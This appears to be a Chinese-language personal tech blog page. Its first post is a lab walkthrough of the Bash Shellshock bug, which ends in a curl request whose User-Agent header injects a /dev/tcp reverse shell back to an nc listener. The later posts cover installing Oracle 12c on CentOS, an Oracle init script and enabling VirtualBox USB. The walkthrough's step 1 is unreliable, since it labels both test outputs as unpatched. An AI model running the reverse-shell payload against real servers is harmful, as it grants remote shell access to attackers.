2014年10月22日 星期三

Shellshock 實際操作

在今年 9 月時,爆發了 Bash 一個很嚴重的 Bug,
利用這個 Bug 可以使遠端使用者得到 root 權限,
所以在此我示範如何呈獻這個攻擊方法,希望大家能儘快升級 Bash 版本修正這個 Bug

Server-1 : 192.168.196.166 (Bash Bug 測試機)
Server-2 : 192.168.196.167 (無 Bash Bug 正常機)
OS 版本:CentOS 6.4 (64-bit)
Bash 版本 :4.1.2

以下安裝步驟為 Server-1 機器上執行
1. 首先請先執行以下指令確認 Bash 是否安全
  #env x='() { :;}; echo vulnerable' bash -c "echo this is a test"  

  如出現

  vulnerable  
  this is a test

  以上訊息則代表 Bash Bug 未被修復

  bash: warning: x: ignoring function definition attempt  
    bash: error importing function definition for `x'  this is a test 
   以上訊息則代表 Bash Bug 未被修復

2. 如確認 Bash 依然未被修復,請安裝 Apache Server 並開啟 cgi 功能
  #yum install httpd
  #vi /etc/httpd/conf/LoadModule cgi_module modules/mod_cgi.so
  ...
  LoadModule cgi_module modules/mod_cgi.so
  ...
  ...
  ScriptAlias /cgi-bin/ "/var/www/cgi-bin/"
  ...
  ...
 
    Options +ExecCGI
    AddHandler cgi-script .cgi .pl
    AllowOverride None
    Options None
    Order allow,deny
    Allow from all
 
  ...

3. 啟動 apache
  #/etc/init.d/httpd start

4. 切換至 cgi 目錄
  #/var/www/cgi-bin

5. 編輯新的 cgi 檔案
  #vi test.cgi

  #!/bin/bash
  echo "Content-type: text/html"
  echo ""
  echo "Hi this is test"

6. 變更檔案權限
  #chmod 755 test.cgi

以下步驟為 Server-2 利用 Bug 取得 Server-1 的使用者權限
7. 請在 Server-2(無 Bash Bug 正常機) 開啟終端機,並使用 nc 指令開機監聽 port
  $nc -l 4444

8. 接著也請在 Server-2 中執行 curl 瀏覽 Server-1 的 cgi 網頁
  $curl -A "() { :;}; /bin/bash -i >& /dev/tcp/192.168.196.167/4444 0>&1" http://192.168.196.166/cgi-bin/test.cgi

9. 最後在有執行 nc 指令的終端機中,就會發現可以執行 Server-2 啟動 apache 的使用者權限


PS:關於該 Bug 的說明,以下網址解釋的蠻清楚的

2013年12月13日 星期五

CentOS6.4 64bit 安裝 OracleDB 12c

關於之前有轉貼一份關於在 CentOS5 上安裝 OracleDB 11gR2
但是在日前我嘗試在 CentOS6.4 64bit 上安裝結果會發生問題
查了一下才知道要安裝新的 patch 才可以解決問題
但是下載新的 patch 需要 oracle 的付費帳號,免費帳號不能下載
所以我就嘗試安裝最新的 OracleDB 12c,最後成功的完成安裝

在此寫上教學

切換成 root 身份
1. 在 yum 設定檔中加上一行新設定,默認同時安裝32位和64位rpm

#echo 'multilib_policy=all' >> /etc/yum.conf

2. 安裝所需軟體

#yum install binutils compat-libcap1 compat-libstdc++-33 gcc gcc-c++ glibc glibc-devel ksh libgcc libstdc++ libstdc++-devel libaio libaio-devel libXext libXtst libX11 libXau libxcb libXi make sysstat

3. 安裝 window 環境

#yum -y groupinstall "Desktop"

4. 增加 oracle 使用者及相關群組,並修改密碼

#/usr/sbin/groupadd oinstall
#/usr/sbin/groupadd dba
#/usr/sbin/useradd -g oinstall -G dba oracle
#passwd oracle

5. 在 pam 設定檔中增加限制模組

#vi /etc/pam.d/login
...
以下內容加到檔案最下面
session required pam_limits.so

6. 修改系統參數

#vi /etc/sysctl.conf
...
以下內容加到檔案最下面

fs.aio-max-nr = 1048576

fs.file-max = 6815744

kernel.shmall = 2097152

kernel.shmmax = 536870912

kernel.shmmni = 4096

kernel.sem = 250 32000 100 128

net.ipv4.ip_local_port_range = 9000 65500

net.core.rmem_default = 262144

net.core.rmem_max = 4194304

net.core.wmem_default = 262144

net.core.wmem_max = 1048586

vm.hugetlb_shm_group=500

注意:原本設定檔中有 kernel.shmmax、kernel.shmall 兩行設定,需用 "#" 注釋

7. 修改 selinux 設定檔

#vi /etc/selinux/config

SELINUX=disabled

8. 修改 oracle 使用者 Limits

#vi /etc/security/limits.conf
...
以下內容加到檔案最下面

oracle soft nofile 65536

oracle hard nofile 65536

oracle soft nproc 16384

oracle hard nproc 16384

oracle stack nproc 10240

oracle stack nproc 10240

9. 修改 hosts 設定檔,將 127.0.0.1 指向自己所設定的 hostname

查詢主機名稱

#hostname
oracle

#vi /etc/hosts
...
以下內容加到檔案最下面

127.0.0.1 oracle

10. 建立相關目錄解壓縮 oracle 12c 軟體並更改權限

#mkdir /u01
#mkdir -p /u01/app/

將 oracle 12c 下載至 u01 目錄
#unzip linuxamd64_12c_database_1of2.zip
#unzip linuxamd64_12c_database_2of2.zip
#chown -R oracle:oinstall /u01/
#chmod -R 775 /u01/

以上已完成基本設定

接下來請以 oracle 使用者身份進行操作,並照著畫面依序執行

11. 切換至 windows 介面,進行 oracledb 安裝

$startx

12. 開啟 terminal 軟體,並在 terminal 中切換至 u01 目錄下



13. 在 u01 目錄中會發現 oracle 12c 解壓縮後為 "database" 這個資料夾,切換至該目錄之後請執行 "runInstaller" 這隻程式



14. 如執行後出現跟我一樣之訊息,請不用管它,直接按 "y" 繼續執行


15. 進入 oracle 安裝畫面,因為只是試用,所以我會把接受 support 的選項關閉,按下 "Next" 出現 Email 位設定之訊息也可以不管它直接按 "Yes"


16. 如果之前已安裝過 oracledb 可以選擇 update 的方式安裝,在這裡因為筆者為新安裝,所以選擇跳過此步驟,直接選擇 "Yes" 繼續安裝


17. 選擇自動建立新的 database


18. 選擇桌機方式安裝


19. 安裝設定,其中需注意紅框的部份


20. 設定完成後直接安裝


21. 安裝過程中會出現需使用 root 身份執行指令的訊息,以下為 11gR2 的畫面,跟 12c一樣只要注意執行路徑,執行完指令後再按 "確定" 進行下一步


21. 安裝完成後,確認服務是否正確開啟並測試連線

$netstat -tunlp

....
..
tcp        0      0 :::1521                     :::*                        LISTEN      4049/tnslsnr
..

出現以上 1521 port 開啟應該是正常運作了


使用連線軟體確定 db 連線正常,db 預設使用者為 "system",密碼為安裝時所輸入之密碼


以上為完整的安裝教學,接下來是將 oracle 設定為開機啟動

使用 root 身份進行以下操作
22. 切換至 init 目錄,並建立 oracle 開機檔

#cd /etc/init.d/
#vi oracle

#!/bin/bash

# oracle: Start/Stop Oracle Database 12c
#
# chkconfig: 345 90 10
# description: The Oracle Database is an Object-Relational Database Management System.
#
# processname: oracle

. /etc/rc.d/init.d/functions

LOCKFILE=/var/lock/subsys/oracle
ORACLE_HOME=/u01/app/oracle/product/12.1.0/dbhome_1
ORACLE_USER=oracle

case "$1" in
'start')
   if [ -f $LOCKFILE ]; then
      echo $0 already running.
      exit 1
   fi
   echo -n $"Starting Oracle Database:"
   su - $ORACLE_USER -c "$ORACLE_HOME/bin/lsnrctl start"
   su - $ORACLE_USER -c "$ORACLE_HOME/bin/dbstart $ORACLE_HOME"
   su - $ORACLE_USER -c "$ORACLE_HOME/bin/emctl start dbconsole"
   touch $LOCKFILE
   ;;
'stop')
   if [ ! -f $LOCKFILE ]; then
      echo $0 already stopping.
      exit 1
   fi
   echo -n $"Stopping Oracle Database:"
   su - $ORACLE_USER -c "$ORACLE_HOME/bin/lsnrctl stop"
   su - $ORACLE_USER -c "$ORACLE_HOME/bin/dbshut"
   su - $ORACLE_USER -c "$ORACLE_HOME/bin/emctl stop dbconsole"
   rm -f $LOCKFILE
   ;;
'restart')
   $0 stop
   $0 start
   ;;
'status')
   if [ -f $LOCKFILE ]; then
      echo $0 started.
      else
      echo $0 stopped.
   fi
   ;;
*)
   echo "Usage: $0 [start|stop|status]"
   exit 1
esac

exit 0

23. 更改檔案權限並加入清單

#chmod 755 oracle
#chkconfig --add oracle

24. 重開機後確認是否有自動開啟

2013年11月22日 星期五

OpenSuse13.1 VirtualBox USB 開啟

上一篇說明 VirtualBox USB 開啟時所要編輯的檔案位置

不過在最新的 OpenSuse13.1 中,檔案位置有所不同

位置在:

/usr/lib/udev/rules.d/60-vboxdrv.rules

在此做個紀錄

2013年11月8日 星期五

VirtualBox USB 開啟

在 OpenSuse 上安裝好 VirtualBox 後
會發現 USB 的選項是反灰無法選取使用

這是因為預設安裝完成後,USB 是關閉的
只要編輯以下檔案就可以使用 USB 了

使用 root 身份編輯
#vi /etc/udev/rules.d/60-vboxdrv.rules

SUBSYSTEM=="usb_device",ATTR{devnum}=="?*",ATTR{busnum}=="?*",SYMLINK+="vboxusb/$attr{busnum}/$attr{devnum}",RUN+="/usr/bin/setfacl -m g:vboxusers:6 /dev/vboxusb/$attr{busnum}/$attr{devnum}"
SUBSYSTEM=="usb",ENV{DEVTYPE}=="usb_device",ATTR{devnum}=="?*",ATTR{busnum}=="?*",SYMLINK+="vboxusb/$attr{busnum}/$attr{devnum}",RUN+="/usr/bin/setfacl -m g:vboxusers:6 /dev/vboxusb/$attr{busnum}/$attr{devnum}"

將以上兩行 '#' 去掉,重啟即可使用